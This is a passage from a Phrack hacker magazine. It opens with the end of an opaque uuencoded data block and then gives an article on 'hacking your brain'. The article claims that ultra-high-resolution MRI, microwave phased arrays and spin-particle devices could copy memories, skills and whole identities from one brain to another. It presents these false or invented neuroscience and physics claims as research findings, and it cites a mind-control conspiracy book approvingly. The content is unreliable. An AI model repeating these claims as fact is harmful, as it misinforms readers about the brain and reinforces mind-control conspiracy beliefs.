MC.^+QWE-KT*S8(0_9L,IQ6QB(24V.Q\A-*HT[]YPM2HLG6XW55`#>IQ%SS8+
MZ1$-AFZ9#A0SJ052:IC(+@1I\_QW?_U7<Q&\'`5:RXYT1Q"""HF^&-+QY>UN
MO_79":/%CD';8E&O=10FT,`7],#?KPHO#%+"#/60^HYO7\^PTB1H5+YM;[O&
M$,T(M2&A_'.@@^2:7_K!K,,JC#NJ>EQ'%A;\Q3H<7!_&YSV37OE!_B&F2^AJ
MI:W?&N#\C7^M:W,RS[#<_=O,ORNJ&3;_=J0R<497<)ME)YEJ.9SZ<2:-0[=Q
M$]%=5_0\'4T4K.0/FM"9MLMO<O*X#UQ/M1$4'X5`3AMD.M;$RHD9`05'%J1`
MTHHWUSTL9Y\66MY,37DG'JU,<@:2)OJ`?PJ;VV]U1L/G;JUBN@*%WOUDXV,:
MIYF=WFA_E]JW9S^K6#]ATDE+'[Q]`(;<0C_S]0L)AFUDAEV$<N]75@W1V,BJ
M-^A*YMZ*<Q0551%2%AVAD]YGW?J-DK<&!YOK0P*/!,:/&!^+<X!\JH$?HI$U
M;XNSO7X9#X,M4:/;4Y!TDG!:^*,-)?O*&U]@\\^S\,8@M8&"3XK/QOMSM]NZ
M%1*P@7M[EVB76^_GI>>9OR4C,+ER$4=3*T>>-T\N9B-1I8J+_>N/'1N[^0,S
ML%[C.W>-N*IS1Q]WA_NEO\C45N8J&5Y7T%J9,;WCSM/8Q$B2JI'E=7:N?KS@
M0_`7[CSH>TG+Q=U?XJ8]M'0CM$7[0N6G)O?82:8GD^3<C1,XU0VX!."@I.XS
M#[8=MI)H5+8S-F1&WN':Q(/=:6N<"**!Q:-T^]);V@BEN_M,UAMA"BD9@I9+
M_71X:>N,T/9N][3>-L85[I\(TUF!N?XO9AL,OU^=M@DE(Y=1KT?R@=YI`8/#
MG)KX%?BB3-J39[='6U^VZK?EM111^JN_&*61,XW*BCW%$02MV@U]Y[P2;'4<
M@F^@WYKP!N<TK0,5O@.'I?:+!P256J3$%=QEMDHF+"RZO?O]QH-X1\X+DI0X
M'JY&*OVLUT[IX!`*,BC:2X6)L@7'6ULYOBK,4UZJL/:\:(\&ZJ&%CK<"FD5=
MN<T7L"VT-\VZ3B>V9`\JP0-QXO##PA:0N6\0^U^7O+^*S??4<4-\I;I;O,?6
M,(!R3W7%6'FW6ZI8"YFUH!X/D(4$A%LB]Z5+2;O7JV>%LZC4^TWHX&H<;?=X
M?2V8_Y!NP2(,U%8Z\AGA>;*?[VMX`H5'I:;O<ZZSD[CSX.3P.*]BX1;K_NG^
M!IGP3%\\#'HCG?<]P6[Q4K!S)<\5MH>:Q4&1AP^6/[[RD-[70E5\M`-#H,3H
M#*AU[BREP2]A6.#+S>2P2E'R4U(UU7WV3T+66/OFWYQ_K-]/#5Q_F)BX_C2C
M079`:2E+L`$Z%3_S4.0+LIB8UK0)]/E#<M@WFYVM,!*[[@9CJNEWGZ.#W_&<
MG+*Z._W^[#7,WW3D;.3VP=E]VBGRQ$^)EN(A'XB&W2N:WE>^R_OY!B\9.%]-
M)V:B0(*@S0-\7]K?'FI^3W-=+X]F"KJ5,^`0,'WG-#V`AG?T:KY71GC!7@:<
M&RNIO!^,J`,`1'ETQ8P=W-L&K?@"HDO^04Y%U-];0Y%&D%)S#YI6^5TGK;6D
M#&1\M8MQ[;ILPR9#^V*?<7;,?6+2PA9'7>@JV3=:7(9P1GU?DSDP2V91O#M]
M80(U]03+;=XL0D*J,2:38T]&HT\6UV^DS&MTI&:;1$06_MXGW@1W7IE$ALA.
M?G,T5UI2K)0M^EO*G4=G5-?7/D_M5K5JLK\IM4H$IEX7,FW+KLGFA-3E8XQ6
M>0I#T"JAI)E?-_6\Y#[PJ4G:7W=O>MCW2E.5B!P*6SJ,QH:3-`OE!0(N8]U,
M/0U?QU_,]-`A!7=QVXJHWTG)VEVG(:T6/R^NQN_,=#C0<I6)VHWGD>GDM@2/
MKC#D]=\4>HA\AUU.O8(^E2[?+21@&C(2#3Z7SU_U]YT6F\("85#\,%\:NC5\
M3GZW=?"^?;6,H:?WCSPU0M,N!EGRTSC+.-GTNY8>N_;<'&_*$04^C=YLW*0-
MA_(!A,:#]'%$!7Q(]TU8_8Z+2Q\R8QWK.@6#4G8;S);M'K;^K%[D/F2'L?:,
M28Y=7^'SGX5EQ9)RI?0XZ_79AIMK7#S4F!D0Q6(J]C%?7<W@U6(:$F0)W5PT
Y28U*=A?-T16*.&OUC][.6<%KE)1NHM(G>H4IO\[J?-K.2%VFGDD(@I:Z_"1
&X'XTOH;KZ!J(P5X.X!<41P:`B&-R,&DH51>Z:<Y6_ZX^,MGQ`^(RRMGD!&;
/CSI-F@85RR\N&V53'[>#([3,,(Z63YAH++?.[!H57+H9LN0P.<W=O&8Y#E@
?0SQ:*]0=&T8A+EQ[2@_%RI0(@1@P>KW'-Z^)!WMO=MTU!LQ[&P]_LG;""B$
&B4@#/+;.^QR05@:B_?H]*%N>#&>07BB:K=,Y(V)0=#?UU:[88#J8>$G%G@<
```

```
M^2>\>B^9MBHX5'*&I:AX<!P&2V+@'Q%^[CI<^>/&BV-$)3'QRW*>XNM(*>)R
MS6XVSA':0YT[P1YGB<D[\9]S$+O@]JOD3Q,28D,0CH=1I\<.\/.B,U>T#%G'
MZJ[NI.@WU9E''_@5Q[\2?L*3A]K3*_<:^)4CD[^8RZW,S9^]>#T:YBA%#1.]
M-#K$-Z?XOP(7@&T\VTH8(M]<-B%T+3_P7K`-912]B<>>C(O[_IS^`^G+<PJY
MJ8'X4?<_;J.X]BN#ARJW?A3GP,$$MO?:&I"XQ$TR_?HCZE\:FC8L5QRN1X55
MD*Q^\/Y0DOHP!)/KY1"IR%B'9\#-UPZ+GV;:BSW@WW&2JZE^D:WUD*HC3ED1
MG2]S&'1+[;]/=YXD*;33C[FC_3!*T3A]IR0C5A8\A#((B4#Q4Q>S]R5]-V!J
M@$/FJ[A.O>2WF-2/5C5%/BBZ4:%KY9[;4?L%(LJ(5%:X;V^A@GT%%E-GH;0N
M:ZWE0P%7F+XI&O_.)Q/:W133SJ3NXW3W3OTT0U9\O];DPC\B%$Q_#E,/.;.?
MD'IH34QQ2A:A;X[#,-(@@R:(\H<;JDD&JAZ"1$+%@1'F7T@%Y7YE["?3"#2U
M]%W'7K8P;K\A$B&[1Q),Q1$1S`L:,7>/:D$T6E=JQ5TJU;XJY6^D#,8PP2+)
MP)`0G#5R2W,P3WYL'.":O#$G0E.^?Q00A_8W//E:D3TE,0EL"DP+#C8W=D31
M@3!A*74:4IH%1EA3MB8XG$N6KZ.D)$VRC?$SNJ0-]SM2*6(*#ZZTYSII<UCR
M,M3P]BOT5L=IL#!*U;`QNS8'63@/O.0@-39TJ3%&?*@*\_]5B,0$`_L%[`_Z
B_ZN@_)___.<___G/?_[SG__\YS__^7_B?P"TW*T!`,@`````
`
end
```

--------[EOF

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x11 of 0x11

```
|=-----------------------------------------------------------------------=|
|=-----------=[ How close are they of hacking your brain? ]=-------------=|
|=-----------------------------------------------------------------------=|
|=----------------------=[     by dahut    ]=----------------------------=|
|=----------------------=[  dahut@skynet.be]=----------------------------=|
|=-----------------------------------------------------------------------=|
```

Since the invention of the EEG, S-F writers produced many books with stories about pumping out the content of your brain and putting it in another brain, or taking the control of your soul or willingness and driving you as a robot. We wil not talk about the well known MK-ULTRA project that never ended up on any real functioning device approaching this result. What they did reach is well described in the still suspicious book "Trance formation of America" (www.trance-formation.com).

Our recent researched demonstrate however that it is possible that something is happening or close to.

We will explain two different technologies, that can provide some breakthrough in the mind control.

--[1. MRI

By enhancing the resolution of Magnetic Resonance Imagery device, we should be able to do nice things such putting ideas or remembering in the brain of someone.

There are today multiples ways to measure brain activity. Brain activity is also brain content, to some extent, depending what you are measuring and what you are looking for.

The most advanced works achieved around what's in the brain is the BlueBrain project, invented by Henry Markram at EPFL in Switzerland. His lab is using a 10.000 CPU Blue Gene type IBM supercomputer, and a super Silicon Graphic computer with 16 graphic cards and 64 Itanium 2 CPU to display processing results. He did start by making the inventory of all neurons types and response type, sorting out few tens types of each. Next he built devices to digitize the geometry of each type of neuron, following the path of dendrites and axons, branch by branch, stroke by stroke, change in diameter, etc. A typical neuron ends up with about 10.000 XYZ 3D coordinates. Next, he packed 10.000 neurons of multiple types in a very narrow space; 5mm by 1mm. This is what scientists name a microcolumn of the neocortex. Then he put electrical input at the entry of the "network" and did a simulation, using the few tens of responses found in these neurons. The result is a modified electrical state of all these branches: 100 millions branches! Each one with a different electrical level. This density of neurons produces short circuits between each of them, the synapse. Such micro column can contains up to a trillion synapses!

From a mechanical point of view, this is not anymore a network, this is a dense matter with different electrical level at each cubic 5 micron. You should see the neuronal network as the processing device of the I/O, when the remaining electrical levels are the memory of the events/habits/experiences.

Now, let's say that a lab can produce a MRI device with such resolution. It will measure the electrical level each 5 micron, and do it for a specific area, let's say to start easy, the area of both hands. Ok, we have to store few terabytes of data, a quite easy job today.

Now, let's take somebody, and put his head in another device, a three dimensional phased array radar, or more precisely, a micro wave transducer (only the emitting part of the radar). This device can browse space without movement. By putting two perpendicular transducers next to the brain, they can send two beams in it, and where they cross, create an electrical pulse with an intensity equal to the sum of both beams, also equal to the original.

Doing so, it’s possible with a super high resolution system, to pinpoint each cell that was acquired (peeked) in the "donor", and poke its value in the other brain.

If the donor is a good violin player, the receiver, when waking up, will feel as if he has new hands, and be surprised how easy he can play violin (but maybe not Mozart yet).

A step further, we can peek and poke other areas of the brain, like the one containing experience, skills, visual scenes. With this last example, a criminal or a suspect refusing to talk, can be peeked from the visual cortex, and the result can be poked in another brain. The receiver will "see" new scenes, and maybe the one of the crime.

The better the resolution, the higher the resolution of the remembering.

It’s not mandatory to match neuron by neuron, from the donor to the receiver, or stroke by stroke, or synapse by synapse. The density is so high that we can really see the memory inside the neocortex as being stored in a three dimensional matrix. Whatever the network, as soon as it is the area used to do a specific operation (see Broca’s areas) like hands, speech, vision, etc. the "knowledge" stored during years is stored as electrical levels in a matrix. The neuronal network will find back it’s way through the different channels of higher voltage poked in the matrix, reconnect instantaneously synapses to recreate missing bridges.

--[2. Total Recall and Arnold Schwarzenegger are not so far!

Here is a metaphor to better understand the concept:

Think about a country: villages and inhabitants are there, connected with road networks.

Move houses and inhabitants in another place, keeping topology. Wherever they end up, they will immediately recreate roads and path to reconnects all houses and building. Houses and inhabitants are our memory and skills, materialized by electrical levels. They don’t care about having to recreate roads and paths. They know where they want to go and which connections they need to do their work. The synaptic plasticity is even more wonderful than what you can imagine. Indeed, axons and dendrite can move as snakes to approach other neurons structure, and pop up synaptic connections everywhere they wan, and all of that in seconds!

Basically, think about your brain being a computer. First neurons met by an external input are acting as your computer I/O unit; and A/D converter. These neurons are mostly in the internal side of the neocortex (inside the brain).The neurons the are receiving the converted measures are the processing units, and the neurons receiving the results, have to send it to the muscles or some other parts of your body. In parallel, all neurons are storing what’s happening all the time, recording everything crossing them: this is our memory, a matrix parallel to our neuronal network, used for data storage an dnot directly related to our processing unit.

The system described here above will not work to inject ideas in the brain, but just knowledge, remembering and skills. Producing ideas is something else, produced by consciousness, and this is a complete other story involving quantum physic.

--[3. Quantum Physic

We are now entering in leading edge researches made by visionary scientists that are not always belonging to what we name the "scientific paradigm", meaning that if they want to keep their annual funding, they should not investigate further these areas or stop to talk about what they are doing. We will present you some of their work and how they can hack your brain to the perfection.

If you take a neuron, or even any living cell, you can find in all of them centriols and micro tubules. All are made of bi-state monomers molecules, able to take two states, alpha and beta, depending the quantum state of on of their component. Each molecule has a state but can switch to the other one for some still unknown reason. When all the molecules of one micro-tubule switch their state to the same one, the micro tubule becomes super conductive for light and some other waves. The change of state is due to one spinning particle that will collide the molecule and change the position of one its atom. These molecules have a size of 15nm. We need therefore a device able to send spinning particle in a brain with a resolution of maximum 15 nm to have a chance to make the atom turning the righ way. Hopefully, making an particle spinning left handed will make the molecule swapping to it's L-associated state, or let's say the alpha state.

There are already labs device able to adjust and measure particle's spin direction. Let's imagine we make them in such a way that they can work on the brain a little bit like the MRI hacking machine. It will not be a device as with the 3D phased array system, but more a wave canon, adjusting the wave origin to match exactly the distance needed to act on a specific electron. The device will have to be highly accurate, and fast. We can think about minimum one million antennas in the device (don't worry, they are used with such complexity). The device will process millimeter by millimeter of the neo cortex, and required about one minute to read or patch a square centimeter. Because its entire surface is 2.000 square cm, the device will need about two days to hack a complete brain. Being not able to have an exact matching between both brains geometry is not a matter, for the same reason as with the MRI system. We can use, only here, the term of holographic memory, because what's important is the spatial content, not the topological content. The brain network is so dense that it's not a network anymore when you speak about storing information in it. It's like house that are so dense that you can jump from one roof to the other, without going through the roads. So roads are used to process date coming from outside the village, and going outside the village, but if you stay in the village you don't need roads at all.

Now, let's explain what's the outcome of such blast in your brain.

When you will wake up, after the long stay in the device, you will feel nothing new, because you are not yourself anymore, and you can't remember your first life. The guy standing in front of you, coming from the other machine, the "donor", si now YOU, but with another body. You feel now as twins, you have the same rembering of your life, you think the same, you have exactly the same knowledge and intelligence. If he s sad, you are sad, if he is good, you are good, if he likes men, you will like men too.

If he is a terrorist, you will behave like a terrorist. Nothing to learn anymore, everything is already in your brain. You know how to build a bomb, how to pilot an air plane, how to fights, etc. but if was peanut to train you, to convince you, to enroll you. Well, there is the cost of the brain device, not cheap at all, but they have the cash!

You can also decide to copy only part of the brain, but it's more risky because that's a research area were we are not far, and it could be dangerous to outcome with overlapping memory, like, let's say, the top of you wife, and the bottom of your "loved boyfriend"!

Next day, think twice when waking up: are you still yourself?

References:

http://bluebrain.epfl.ch/
http://en.wikipedia.org/wiki/Phased_array
http://en.wikipedia.org/wiki/Total_Recall